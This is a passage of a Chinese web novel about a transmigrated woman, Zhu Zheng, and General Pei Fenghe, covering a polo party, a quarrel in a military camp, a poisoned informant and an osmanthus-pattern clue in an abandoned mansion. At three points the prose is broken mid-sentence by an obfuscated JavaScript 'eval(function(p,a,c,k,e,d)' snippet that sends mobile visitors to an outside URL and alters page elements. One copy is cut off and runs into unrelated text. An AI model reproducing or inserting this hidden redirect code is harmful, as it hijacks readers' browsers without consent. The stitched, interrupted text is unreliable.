她们都在激烈讨论着,竹徵一看,被押得最多的是肖唯安和宗公子,这宗公子的姑姑就是当今的太后,不仅身份高贵,为人也是桀骜不驯。 倒是没有人押裴风鹤,竹徵有些不悦,到底是自己的未婚夫,她知道裴风鹤的武功肯定是下了死功夫练的,忍了半天,还是觉得不行。 她抽下自己今日挑出来最华丽的簪子,“我押裴风鹤。”到底是自己的未婚夫,不能太丢面。 旁边有讥笑声传来,她转头才发现是那个吴小姐,她扬着一个像是在说“又被我抓住了吧”的笑,“唐小姐是觉得,你不下注,你的未婚夫没人押吗?” 她一个眼刀射过去,对方有些怂了,往肖小姐身后躲了躲,依旧嘟囔着:“本来就是……” 肖小姐依旧是那副很和煦亲切的样子,“唐小姐,她也是无心的,你就别计较了,大家这不也是看裴公子是你未婚夫,才没下注的么。” 竹徵一下没忍住,讥笑就从嘴边溢出来,她不同她们计较,这个刚回来的肖小姐还能借着吴小姐来下她的面子,倒是好一个笑面虎,她的眼神像是淬了毒的利刃,仿佛要刺破一切,“肖小姐,你这话就不对了,我投裴公子,是相信他。” “宗公子有未婚妻,吴小姐不也照样投了,玩乐而已,肖小姐要当真就没意思了。” 听完这话,人群一下子就聒噪起来,肖小姐面子险些挂不住,在其他人都没看到时瞪了她一眼,随后就打哈哈过了。 竹徵冷哼一声,肖小姐起的头,上纲上线的也是她,真当自己好欺负,一句话就颠倒黑白了,全跟姻缘搭上边,刚才下注的小姐全要掀牌桌。 她此刻确信自己不喜欢对方了,倒也不是讨厌,纯粹不喜,她虽睚眦必报,但也知道形势,不喜欢就少搭理得了。 女使也拿彩头在她们这里转了一圈,其他小姐都不太感兴趣,但是竹徵看到的第一眼眼睛就亮起来,那是一块雕得很华丽的玉佩,听介绍是前朝的,一套“梅兰竹菊”仅剩这一块“竹”了,上面的竹子纹样同她见过的都不一样,寻常画竹都是画其风骨。 但这枚玉佩上的竹子,茂密将倒却依旧屹立,有种逆境仍生的生命力,她看着很是喜欢,倒确实是想要。 这或许就是她内心隐秘的自己。 不知道谁嚎一嗓子:“开始了!”小姐们的目光就全被驰骋在马场上的身影吸引,连带着竹徵也往马场那边看去,为首的就是肖唯安和宗文德。 竹徵视线往后移去,裴风鹤垫在后面,十分不起眼。他今日穿的是纯黑的衣袍,金色的暗纹在阳光照射下流动起来,头发坠在身后,未用冠束起的长发飞扬,看起来也颇有几分少年青春气息。 竹徵不知怎么地,嘴一下子就咧开了,她猛地意识到,赶紧拿手揉了揉脸。 “疯了吧,我还在生气呢。”她被自己的动作吓到了,才想到这里。 她赶紧转移视线,才发现安小姐也在专心地看着马场,她顺着那目光看过去,居然是宗文德那个方向。 但安小姐很快就收回视线,她也就当自己看错了,这种冰冷美人怎么可能下凡呢? 裴风鹤和肖唯安一组,他胜在敏捷迅速,而且大多人不了解他的身手,不怎么防他,但除了宗文德,骑术确实是无人匹敌。 他一路赶上队伍里其他人丢的分,很快跟宗文德打成了平手。 小姐们攒动着要下场看终场,毕竟是小姐,小厮拦不住也就作罢。 肖小姐带头给公子们加油,她们既下了观台,这些骑着马的男子,身形一下子高大起来,宗文德骑着马悠悠闲闲地走到她们面前,“仔细受伤啊,各位娇小姐。” 说罢往她左边看了一眼,脸上的笑容一下子就消失了,反而像见了什么瘟神,立马策马离开。 身边的小姐都因为宗文德这一句话而激动,她却顺着对方的目光看过去,居然是冷冽的安小姐。 她此刻周身气息更加冷了,转头就走,毫无留恋,竹徵思考了一下,虽然很想知道谁拿了那块玉佩的彩头,还是跟着离开了。 安小姐似乎不太想理人,但是依旧没开口赶她,她们就默默地穿到了前厅。 她没说什么,只问:“安小姐想回去吗?” 安小姐也反应,只说了一句:“谢谢。”随后便转头就走,竹徵不知为什么,从她脸上看出来“别跟着我”四个字,只得驻足。 她在这府里等了很久,觉得不向主人家解释 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289454|152085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 私自离席多少无礼,却又不想再去看马球,就在庭院里无目的地等着。 等了很久,终于见肖小姐回来,同她解释安小姐身体不适,她身体不好此刻也不太舒服,早些离席。 扶光在她出了府才跟着她,“小姐?怎么不让下人告假,如此白白等了那么久,又吹了风。” 她接过扶光递过来的披风,“安小姐没留下话,我怕她落人口舌,只好自己等着了。” 扶光嘟囔了几句,她没听清,再问她却不肯说了,竹徵估摸着多半是怪她自己的事不上心,紧着别人之类的。 她笑了笑,任扶光扶着往马车上去。 “唐语蓁!”一声雀跃的声音缠住她,她回头,刚一入眼便是青葱岁月间不变的那株梅花,今日不是开花的季节,怎么这样茂盛呢? 那衣角沾染了泥水的少年,手上拿着那枚她翘首以盼的玉佩,脸上带着一抹从没有见过的淡淡欣喜,就那样朝她走来。 他踏着的每一步,都像一滴饱满的水滴,滴在她早已干涸的心里。 她今日跟那些小姐,也聊不来,唯一一个稍微感兴趣的,却又不理她,她只是,强撑着,在这个世界里生活而已。 即便她好奇赏花会,但是事实却如此索然无味,让她觉得自己真的像困于笼中的鸟儿,能说的事除了姻亲,也只有那些权贵最在意的面子。 甚至于,她要像请假一样,等着所有看马球的人回来,才能脱身。做世家大族的小姐,怎么比上个高中还麻烦呢? 但她一天之内积攒的疲惫,却在看到裴风鹤这一刻,倾泻而出。 她想起那些在京城闹市里肆意妄为的日子,让他帮忙拿着什么也不会有什么怨言,有什么不想处理的事他也会上前,就连有时候父亲发现了他也会替她担下来。 她同他在一起,至少不用如此计较着,至少不用时刻担心自己丢了唐家的脸,她在他面前只是一个普通的少女。 裴风鹤慢慢走到她面前,说的话她只断断续续地听进去一点,“今日的彩头……玉佩……送你……” 直到他轻轻地将那块玉佩递过来,她才反应过来,低头看着那块色泽饱满形状圆润的玉佩。 不知道为什么,冰凉的玉佩让她很想抱住什么,此刻裴风鹤有些支支吾吾地说:“先前……是我没有考虑周到。我是怕你,将来后悔。” 她赫然抬头,撞上有些仓促移开的少年目光,他的眼神太炽热,让她有几分被烫伤的焦灼,自己一下子无所遁形。 她之前也同他说了那样的话,到底是个少年,她以恶意揣测他,其实也是一种推定。 她抬头看了一眼,少年的脸颊微红,眼睛里也闪着星光,似乎坦白陈明像罪过一样,脸上有些微弱的羞赧。 不看倒还好,一看倒勾起了她的乐趣,莫名觉得有种凌乱美,像在外头飘零了很久的流浪狗,身上却不是很脏,有想让人撸一把的冲动。 她不知觉地抬起自己的手,温热的指腹抚上少年脸颊的嫩肉时才反应过来,她此刻正踮起脚尖,珍视地捧起少年的脸。 初春里他们俩的身影,像是一对相互依偎取暖的鸳鸯。 25. 第二十五章 打消 做完这个梦之后,竹徵总算是能睡个好觉,连着几天都一夜无梦,颇为神清气爽。 但在穆常念和公主离开的这几日里,竹徵也被裴风鹤管束着不让去城里逛街逗趣,美名其曰:近京城人多眼杂,恐遭人惦记。 竹徵听见这话直翻白眼,但是不得不说,他的话很有道理,在这地界,赶路事小,要是裴将军私离大部队的事捅出来,可不好收场。于是她就也没反驳什么,只是每日赶路,虽然坐马车,总归无趣。 她就想着,入京后,难免遇见上次金虹帮那样的事,她得弄点东西防身。但思索了半天,对她来说,刀剑没有簪子顺手,也没有它方便,何况簪子确实是出奇制胜的法宝。 于是她就开始自己画图纸,无奈她是个文科生,看着空白的宣纸,倒是会描述,可是不知道该怎么简洁明了地画出来。 抠了几天头发也没能画出来,只能暂时搁置,外头胡娘子说将军找她,她听着有点不耐烦了,在车上犟了好一会,才慢悠悠地下车。 裴风鹤原先也是对她不冷不热的态度,不知为什么,在穆常念和公主离开后,他就开始有意无意地在她面前晃悠。 他也三天两头叫她,明明只是诸如中午吃什么的废话,非得废那个功夫将她叫过去,几次下来竹徵也不大乐意去,但碍着身份,还是得去打个照面。 营帐外脚步声传来,裴风鹤正处理要务,一偏头,竹徵懒懒散散地自门外迈着步子进来,她今日照旧没有穿亮色的衣裙,而是一袭苍葭色的锦袍,加上她跟没有劲似的松散,整个人看起来倒是别样的宁静。 裴风鹤愣了一下,他没怎么见过曲如桢如此娴静的打扮,手上的绑带吸引了他的注意力,她今日配衣服换了苍葭色的,依旧缠紧了手掌。 本来是很温柔的打扮,但当裴风鹤看到她的脸时,就完全不觉得陌生了,她眉头皱在一起,满脸的不耐烦。 裴风鹤在心里轻笑了一下,这么久,终于露出马脚了。 他不动声色地假装没看到她,反而同正在汇报的周荣说起话来,一边给自己沏了杯茶。 一直候在一旁却没被叫到的周荣此刻吓得一激灵,连忙搜刮着脑中的内容磕磕绊绊地说着,他的慌乱被刚进来的竹徵尽收眼底。 她一下子就明白裴风鹤是故意的,一直积攒的怒火终于在此刻窜到了顶端,冲上前两步。 周荣余光瞟到她的动作,连忙拿剑准备挡在她面前,却被裴风鹤轻轻用手拍了拍,他方才不爽地让开,任由竹徵在他眼前风风火火地走向裴风鹤。 竹徵是真的有点生气了,加上她本来自己的事也没做好,此刻只觉得裴风鹤跟逗小孩一样玩她,伸手就要抢裴风鹤刚准备喝的茶杯。 裴风鹤似是知道她的动作,另一只手轻轻挡了她一下,她的手触及他温热的手掌,他常年戍边,将军手上茧,摸起来有些粗糙。这触感让她忽然清醒了。 裴风鹤不是这种玩弄人的人,那么他多半是试探她……会不会武功,还是他已经开始怀疑她是曾经的唐语蓁了? 这个情况,以前裴风鹤教过她,她当时要强出头,结果力量悬殊,不小心被扑倒在地。后来还是裴风鹤赶到才没酿成大祸,那次之后他就教过她。 既是力量不足,那就利用自己的灵活敏捷,借力打力,避其锋芒,携藏利刃,手起刀落。 那样不管对方怎样强大,都会吃痛,下意识撒手,当时她还嘲笑这是流氓打法,可是裴风鹤严肃地同她说,这样至少她有机会逃,留得青山在,不怕没柴烧。 而此刻,她已经下意识“借力打力”了,裴风鹤手挡过去时,她就已经顺着手掌的方向后撤几步,按照他教的,应该是趁其不备,在他要出下一招前,就利落地攻击他。 可是她只是手无寸铁的曲如桢,就顺势往后倒下去,双手放开胡乱抓着,眼看就要摔个狗啃泥。 有一只手像她预想中那样捞住她,这一次仍旧是礼貌地托住她,但是一只手就能撑起她整个身子,比她想象中还要有力一些。 她在对方看不到的地方狡黠地扬了一下嘴角,随后怕被发现,赶快回归慌乱。 “看吧,我知道你一定会接住我,所以这一局,你又输了,裴风鹤。”她得意地想。 竹徵瞬间敛下表情后,对方的手臂往前一推,因着那股力量的助力,她很快站稳,心里仍旧腹诽,还以为会像偶像剧一样对视呢,放手倒是很快。 她站定后就开始表演了,她拿左手不停地抚着自己的胸口,随即目光一转,望着那个将她推起来的人,怒嗔道:“将军过分了吧?” 裴风鹤倒是没呛声,“抱歉。” 竹徵看他话说得好听,可是脸上没半分歉意,反而是一贯慵懒温润的样子,像一拳打在棉花上,原本已经被自己消磨的火气又蹭一下冒上来。 她看着端站在那里的裴风鹤,即便刚刚将她扶起,另一只手的茶杯仍旧稳稳地捏在手里,没洒出来半分。 她气不过,面色都涨红了,头发也翻飞着,伸出那纤细白嫩的手强硬地去抢,裴风鹤此番倒是没拦。 她看着他巍然不动的姿态,反倒泄了气,他拿这些东西来捉弄她,这样一下反而是她不懂事了。 她已然抢下那茶杯,摸着已经冰凉的杯壁,刺得她头脑清醒了许多。 碰上他总没好事,总是同他计较这些没用又暴露本性的小事,她真的应该快点剥离曾经的唐语蓁了,情感也好,人也好。 她深吸了一口气,抬头却完全是不同的神情,她面容上再看不出半点异样,五官回归原位,没有任何表情,声音也异常冷淡:“妾身僭越,请将军喝茶。” 她将茶杯端过头顶,身体弯下去,以一个供奉的姿态递过那杯茶。 她就应该将这个事钉在耻辱柱上,时刻警醒自己不能再犯这种错误。她自遇到裴风鹤以来已经太偏离轨道了,不自觉地亲近他,不知为何地同他争论,向他要求本不该这个身份要求的,甚至怪罪他不认识她。 但是这些都不是她的目的,她只是为了回家,何必纠缠呢?如今甚至走到了裴风鹤怀疑她的地步,这样下去,她没回成家,先被当成怪胎烧死了。 她感觉有一双手,很缓慢地触及她举起的手,跟杯壁一样冰凉的手郑重地将她的手往下移,直到她抬起头望向对方。 裴风鹤脸上没有得意,而是很严肃,“对不起。”他的眼神像浸在哪条河流里洗涤过一样,分外清澈,又让人感觉带着刚刚从水里捞起升腾的雾气。 竹徵又执意要抬高自己的手,仿佛同他较劲一般,并未听进去他那句道歉。 对方手中用力,再一压,此刻眼中带了几分无奈,却仍旧温声解释道:“先前试探多有得罪,曲小姐不必如此,今后我不会生疑,你也不必……非要同我强调尊卑。” 竹徵方才抬头,裴风鹤不像是放下了疑心,更像是觉得自己与他无关,破罐子破摔,她从他的面上辨出几分无可奈何,心知这一次必须打消他的疑惑。 她将茶杯放下,搁在手中,看着那个尊贵却冰冷的茶杯,轻声说:“我知道将军在怀疑什么,我自小被困张府,不应养得如此开朗活泼。” “但是,将军有没有经历过苦难,凭什么我遭受了这些就不能快乐呢?我就应该每日自怨自艾吗?” 她忽而抬头,那双盈满泪水的眼睛直勾勾地盯着裴风鹤,“将军或许要问我为什么甘愿做笼中鸟,因为我爱过他,但是现在我不爱他了。我也再受不了任何将我像物品一样陈设,拿我当动物一样逗弄的行为。” 她感受到自己的泪水滑过脸颊,带着她许久未尝过的心酸与苦楚。虽然算是演戏,但到底带了几分真情。她又何尝不是历经磨难,背井离乡来到这里呢? 在做唐语蓁的初期,她确实是刚刚自己说的那种“自怨自艾”的人,她太想家,甚至有些思念成疾。后来还是裴风鹤出现,他将她带进融入了这个世界,让她知道这里也不是什么都不如她的世界。因此她多少对他有几分温情,可是如今他居然还要几次三番地试探她。 她之前太阴郁,自己的情绪一直不太高,如今她已经选择面对现实,尽力地去找些乐趣,好让她不至于迷失在这个陌生的世界。这样,也该怨怪才符合她的性格和经历吗? 她越想越生气,反而凑近了裴风鹤,另一只手直拉住他铠甲的边缘,强迫他离自己更近,直视着他的眼睛,“将军不了解我,凭什么拿自己的观点来评判我!经历过什么便会成为什么样的人,只是你对于人性浅薄的认知。我的坚韧,是哪怕遇见这些人,我依旧不会动摇自己的心。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289455|152085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她说完便放手,狠狠地将茶杯掼在桌子上,茶水早已溅出来,淋了她一手,有些凉。 她转头就走,不打算理会裴风鹤,风风火火地离开时,余光瞟到瞠目结舌的周荣,略微觉得他眼熟,也没停下来,而是迈着步子离开了。 而裴风鹤此刻也被曲如桢一套动作给弄懵了,他轻轻抚着那误滴在他手上的泪水,抹开来只剩温热的余温。 他一直以来对她报以审视的态度,确实从未考虑过,她也是一个披荆斩棘好不容易走到现在的女子,无论如何,苦难和伤痛不是假的,他确实不该……如此对她。 但是一股更诡异的想法从他心底生发,她真的,跟曾经的唐语蓁太像了,无论是说话的语气,还是那独一份的倔强,亦或是今日这样,不与这个时代相符的态度与自尊。 虽然答应了她不再试探,却无法阻止内心心魔的滋生,他真的,不曾认识她吗? 裴风鹤长叹一口气,眼里的光亮暗了几分,低眸看见那张信,暗怪自己忘了正事。 “只能下回再同她说了。”他想。 ———— 耽搁了这么久,早就已经从她刚进入曲如桢身体时的初秋到了现在的秋末了,满地的树叶都已枯败,不比金黄的丰收之际,反倒吹出些初冬的萧瑟,卷起一地残败,看上去格外凄凉。 竹徵坐在搭的营帐里,撑起下巴望着外头。又快到冬天了,她真是讨厌要穿得厚重的天气。 最近诸事不顺,也就打消了裴风鹤的疑惑这一件勉强能算的上好,可是……她为什么心里有着隐隐的针扎般的疼呢? 她不管不顾地归结为自己最近身体不好,连带着心情不太好。说起来曲如桢这具身体是需要调养了,唐语蓁那个时候好歹只是不常出门,身体虚弱只是对外的说法,顶多是不协调加宅过头了。 但是曲如桢这个身体不仅长期受虐待,伤口还没有得到及时处理,身上大大小小都是疤痕也便罢了,身体素质也差得不行,上回能打过张巡,完全是她手脚灵活加上身藏利器,当然除此之外,还有那股来自曲如桢身体内深层次的怒意。 她得开始锻炼了,顺便可以让肖唯安教她点拳脚功夫。自从那年被裴风鹤发现肖唯安私教她导致差点出事之后,肖唯安就被裴风鹤“教育”得连一点类似的话都不敢再同她说。这下倒是可以光明正大地学了。 她思考着接下来的计划,这时胡娘子就已经踏着步子自营帐外走进来,边帮她将门帘盖上,边说:“身体本来就不好,还吹风。” 竹徵听见她说话,立马笑开了,上前抱住她,“哎呀,我这不是想看看风景嘛。” 胡娘子一脸“就你不知道爱惜自己”的表情,鄙夷又宠溺地睨了她一眼,忍了一下,也没憋住,笑开来,“别黏着我,好痒!” 她们的笑声溢出了营帐,传到周荣和裴风鹤所在的帐子内。 周荣皱起眉,颇为不忿地说:“将军,这个曲小姐真是粗鲁!跟唐小姐一点不一样。” 裴风鹤眼风扫过去,周荣马上将嘴闭上,自知说错话,行礼请罪。 裴风鹤走到他面前,却没有显露出凶煞,而是温和地说:“不要在私底下妄议女子,有损名声。” 周荣不敢抬头,只听见他沉闷地一声:“是。” 裴风鹤敛目,不知道是同谁说:“我知道你喜欢唐小姐,但是不要拿别人同她比较,等肖公子来接上她回京城,我们就不会再见了。”他说完这话就靠在椅背上养神,不再言语,周荣见状退下。 外头的寒鸦凄惨又凌厉的叫声莫名给这段对话画上了句号,透着肃杀又凄凉的气氛。 它们唧唧喳喳地停留在枯树上,下头有脚步声传来,它们听见动静就四散而飞,整个营地只剩孤零零的枯树,荒凉至极。 裴风鹤听见动静睁眼,有些不适地揉着自己的太阳穴,“又怎么了?” 下头又是周荣来禀报,“将军,有一个断手断脚的人被丢在我们营地外!” 裴风鹤乍一下张开眼睛,他凌厉的眼神扫过去,一向的温润不再,此刻终于带上了几分将军应有的肃杀之气。 “带上来。”他只轻轻一句,将士们就利落地离开,周荣更是一扫刚刚的沮丧。 山雨欲来风满楼,想必回京城的路也不会顺畅了。 26. 第二十六章 拐卖 竹徵正在营帐内同胡娘子品茶,忽然听见一声凄厉的叫喊,竹徵愣了一会儿,向外看去,胡娘子给了她一个安抚的眼神,“听说今天有个人栽在将军营帐外,估计是在审呢。” 竹徵听见这话眉头皱了一下,却也没说什么,点点头便过了。 这几日他们走走停停,为了等公主先抵达,安营扎寨在此地几天了,裴风鹤却还没下命令继续走,不知道是在等谁。 外头又有通报声传来,竹徵听见通传裴风鹤叫她就头疼。但是转念一想,说不定是跟那个栽在他门口的人有关。 她终于还是收拾心情,准备去看看有什么事,步子已经迈开了,但走到帘帐外,她忽然想起什么,又将脑袋探到里头。 胡娘子被她的忽然出现吓得险些拿不住茶杯:“还有什么事?” 她看着手忙脚乱捞住茶杯的胡娘子,扑哧一下笑出来,“今天是不是就能见到许大哥了?” 胡娘子少见地红了脸,反而有些羞赧地低下头,“他前几日给我的信,估摸着是今天。” 竹徵看着胡娘子的小女儿情态,笑得更欢,那样子仿佛是她自己有了心上人一样,“那你今天就好好等着他吧,不用待在我这里了。”说完也不等胡娘子嗔怪她,就笑嘻嘻地走了。 胡娘子是随军娘子,在被裴风鹤派来跟她之前,一直是随军队打些杂。而胡娘子的丈夫许大哥是斥候兵,胡娘子最近一直跟她一起,同许大哥也有很久没见了,今日应该是要回来同裴风鹤汇报。 她也问过胡娘子,丈夫从军,她又随军,战场上刀剑无眼,为什么甘愿冒这个风险。 胡娘子说,她家本来就在边陲,村里早被北狄屠了个遍,只有他们几个可以躲在缸里的小孩子幸免,他们那时只能挖野菜吃树皮为生,许大哥跟她也算是青梅竹马,他们一起度过了那段艰难的时光。 后来十八岁的裴风鹤来到这里,招兵买马,戍卫边疆,起初他们都不相信他,因为他甚至尚未及冠。 他刚去时就单枪匹马闯北狄大营,先杀了当时驻边大都尉的副手,既征服了边疆桀骜不驯的军队,又倒逼他们集合起来面对北狄的怒火。 他花了一年时间训练出自己的军队,又花了一年时间摸清北狄的打法路数,接下来两年就是拉锯战。 而胡娘子和许大哥,就是在裴风鹤杀了大都尉副手之后投军的。 他们被这位裴将军的勇气和能力折服,坚信他一定可以打退北狄。 “反正家里人都死的差不多了,不如就放手一搏,至少我这辈子值了。”胡娘子说这句话的时候,竹徵仿佛能看见她的眼神里的河流。那是一条流淌着全家人的不幸,和她年少时候热血的,是每一个被北狄伤害的百姓都有的,河流。 汇聚成的江海或许就这样冲刷了北狄给这个国家留下的痛苦印记。 她一路下来,尽是河清海晏,壮丽河山。 走到裴风鹤的营帐门口,她才发觉已经走神太久,踏进营帐行完礼,才发现裴风鹤脸上的表情异常严肃。 她裴风鹤视线落在的地方看去,那是一个身形纤瘦的男人,倒在地上,一动不动,像是没了气息,鲜血像是从他嘴里喷涌而出,流淌在地上带着余温,血泊甚至照映出她低头时曲如桢那张妖冶的脸,如同开在似火烈焰里的一株血莲。 她有种被摄了心魄的感觉,心里像是被人用鼓槌敲了一下,赶紧后撤两步,远离那血泊。 裴风鹤见到她方才转头过来,他那张素来温和疏离的面庞也沾染了星点血迹,开在他脸上像一朵朵危险的曼陀罗,身上也是冰冷的铠甲,此刻她忽然感觉裴风鹤也像是从鲜血里开出的血梅,有些可怖。 裴风鹤也确实没有了平时的耐心,简短地说:“死了,死法和张巡一样。” 竹徵的肢体瞬间像被冰冻起来,一股寒意从指尖慢慢蔓延到她的肩膀,她几乎是僵硬地抬起头,看见裴风鹤眼里的寒光。 如果张巡的死是因为突发恶疾的意外,那第二个人同样的死法,也是意外么? 甚至幕后的人根本不惧怕被他们发现,因为他们毫无证据,甚至猜不出动机。 裴风鹤挥了挥手,将士就将口供递给她,她还是不太看得懂这里的字,吃力地辨别着。 拐卖……张巡……玉华楼? 竹徵看完之后感觉自己已经被困在了一张巨大的网里,对方要她如何就只能如何。口供上说,这个人是张巡的部下,十五年前受指使拐卖了曲如桢,也就是唐家小姐。但他不知道自己的上线是谁,一直只通过玉华楼联系,投奔张巡也是对方的指示。 现在所有的线索都指向玉华楼,对方是想引他们继续查玉华楼吗?可是那天,裴风鹤和穆常念不是说共审玉华楼掌柜吗? 而且,只有她知道,玉华楼跟其他穿书者也有关系。那么就只可能是五年前被接手的,也就是说有穿书者和背后势力合作,就是为了金库? 逻辑不通,肯定缺少了哪个环节。而且指引他们去查玉华楼的人也很诡异,就是为了借他们的手铲除玉华楼吗? 幕后的人不知是敌是友,但是很明确的事是,张巡和这个人肯定知道威胁到了对方利益的事,不然不会费这么大劲还毒死他们。 她自己知道裴风鹤同她说这件事,多半是为了回京城她证明自己是唐小姐,可是此一遭,人证死了,就剩个口供也没有更实际的证据。 她看完后皱着眉头看向裴风鹤,对方屏退了自己的部下后方才开口:“我同穆公子在刘掌柜身上审出来的,只有上线在京城权贵之家,他们之间只用带花纹的信纸交流。” “后来公主下令要先走一步,穆公子就将刘掌柜带走了。” 裴风鹤手攥得很紧,仿佛在忍耐什么,竹徵却好奇地追问,“什么花纹?” 说不定她知道呢? 裴风鹤方才认命似的闭眼,缓缓开口:“……木樨花纹。” 竹徵听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她见到刚刚递手帕之后裴风鹤略有松懈的眉间又狠狠皱起来,发现自己有将其抚平的冲动后,略微惊了一下,有些慌乱地后撤一步,将目光从裴风鹤脸上移开。 她调整着自己的呼吸,却听见裴风鹤又变严肃的声音,仿若钢铁般硬挺:“今日城中,又发现了木樨花纹。” 她即刻转头,看着他那双又回归冰冷的眼睛。 她需要真千金的证据,他需要木樨花纹的线索。 裴风鹤愿意坦白,多半是为了肖唯安,可是,现在他们似乎又不得不绑在一起,再去寻找线索。 她疑惑之中却又感觉到窒息,好像有什么东西掐住她的喉咙,拿着她渴望的东西,像逗趣一样一步一步看着她走入一个,精心设计好的牢笼。 她低头看着自己那双缠满绑带的手,感觉自己已深陷在了淤泥里,无法拔出双脚,静待着被吞噬。 27. 第二十七章 云府 初冬最后一片已经完全枯黄的叶片终于受不住寒风的侵袭,悠悠地落在湖面,泛出一圈圈波纹,最终囿于这片无人打理的废旧池塘里。 池塘旁是阔步在府邸里行走的裴风鹤和提着裙摆小跑跟着的竹徵。 竹徵提着裙子三步并作两步才勉强跟上裴风鹤,虽然早知道他很在意这件事,可是没想到,他居然这么着急。 虽然竹徵自己也很想知道掌握着玉华楼的人是谁,但是裴风鹤今天的反应有点反常了。 今天裴风鹤得到的消息是,在这座已经废弃的府邸里发现了一个刻有木樨花纹的玉牌,有人翻出来了倒卖黑市,去城内探听消息的副将周荣正好撞见,这才截下来了。 裴风鹤早就派人查了,竹徵也知道了这府邸是原书男二云暨英幼时居住的云府,后来云暨英长大,云家也搬往京城。 他们走在这破败荒凉的府里,竹徵全神贯注地看着脚下才能边跟上裴风鹤的速度,边保证自己不被绊倒。 她专心致志地避开地上杂乱的树枝和无法判断出形势的杂草丛,没注意前方,“咚”地一下撞到了一个坚硬的脊背。 她揉着脑袋有些生气地抬头,却见裴风鹤站在那里一动不动,像是看见了什么很震惊的东西。 她这才微微侧身,透过男人的背影,她方才瞧见位于内宅门大开着,露出挂于影壁上那幅巨大的图,上面密密麻麻都是用不同写法写出来的“福”字,红底金字,凑在一起更显诡异,在这府里升起一股诡秘之气。 竹徵被这无人的荒凉和血红的图画吓到了,一下子就缩回裴风鹤身后,不自觉地拉住了他的衣摆,但又想看,只悄悄露出两个眼睛,生怕忽然冲出什么人。 但身前的裴风鹤好似半点不害怕,迈着步子就往内宅走,竹徵向前抓了一下没抓住,左右看看这四下无人的院子,颇为鬼鬼祟祟地跟在裴风鹤身后。 他每一步踏得又快又稳,在内宅屏风挂画处才堪堪停住,竹徵不知道他要做什么,看那架势很是果断,只提着裙子小步小步跟在后头。 裴风鹤只停了一瞬,随后就果断地扬起手,将那幅画狠狠掀开! 那幅百福图就那样随着他的动作跌落在地,同地面撞击,发出清脆的响声,在这荒凉的府邸里格外清晰。 落在竹徵耳朵里,竟成了有些悲戚的回响。 府中无人,百福图落,主人家亡。 裴风鹤却专心地看着那屏风上的图案,竹徵看见他有发现,这才赶紧追上去同他一起看。 她寻找了半天,才看见那影壁一角,有一个非常小而且已经被人用划痕掩盖的图案。 那副纹样已经模糊,但竹徵从那勾勒的轮廓中隐约看出那是桂花。 桂花……为什么一个影壁上有个这种图案? 而且她没记错的话,这跟云暨英为摄政王建立暗线的通信标志很像。 她偏头想看看裴风鹤的表情,才发现他似是在忍耐,紧紧地咬着牙,额头上浸出几点细汗,目不转睛地盯着那副纹样。 竹徵有点奇怪,这图对他来说很重要吗?她从来没有在他脸上看见这幅表情,像是已经游荡了许久的野兽,终于看见自己的猎物。 兴奋中又带了几分悲戚。 她不甚理解,这跟那木樨花纹有什么关系? 看着那桂花,她猛然意识到,指着那个图案说:“这就是……” 裴风鹤没转头,依旧盯着那里说:“木樨花纹。” 她瞬间如同被雷劈中了,全身血液都像是要倒流一般,可怕的不是她不知道木樨花就是桂花,从而忽略了这个细节。可怕的是,张巡,玉华楼,拐卖,穿书者,全部的人都跟大黎最重要的势力之一——摄政王有关。 在她不知道的时候,就已经招惹了这个世界权力中心的人,甚至不知道那个穿书者在他手里,会不会真的知道她身体的下落。 甚至不知道,摄政王究竟要用这些东西来掩盖什么,她又在哪里触碰了对方的利益。 她惊愕之后强迫自己冷静思考,按理来说是云暨英生前一手建立打磨的暗线,也就是所谓的“摄魂者”,虽然名字吓人,但是也就是个类似于暗卫加情报收集的组织。 但是“石马惨案”云暨英和裴成君双死后,摄政王的暗线应该是瘫痪了大半的,因为根据原著的说法,云暨英是摄政王的左膀右臂,什么事都是他交代云去办,自己并不插手。 但是云暨英已经死了十五年了,所以只有两个可能,一个是摄政王沿用了之前的纹样,做了这些事,另一个是云暨英的部下私自使用。但是依照摄政王那精明狡猾的男主设定,竹徵猜测前者应该才是真的。 虽然是为了回家,但还是尽量不要招惹摄政王,被这种大人物缠上了可不好。 她明确了目标,再睁开眼时,眼神已经清明了很多,却发现裴风鹤已经直起身来,路过影壁,走到内宅之中。 她不懂他的行为,却见他扑通一下就跪在了满是杂草和树枝的院子里,伏在泥土里,行了一个稽首礼,长跪于地。 竹徵被他这动不动下跪惊了一下,但思考了一下,确实在理,云暨英算是他的姑父,“石马惨案”简直是所有世家隐而不发的阵痛,世家内部也好,朝堂也好,都把在这场惨案里死亡的人看作英雄。 裴风鹤伏于这片苍凉而又尘土四起的院中,心里的悲戚瞬间被拉长,就如此撕扯围困他的心,无处闪躲。 他长跪于此中,久久无法平静,他余光却瞟到一个身影,也干脆地跪在他身边。 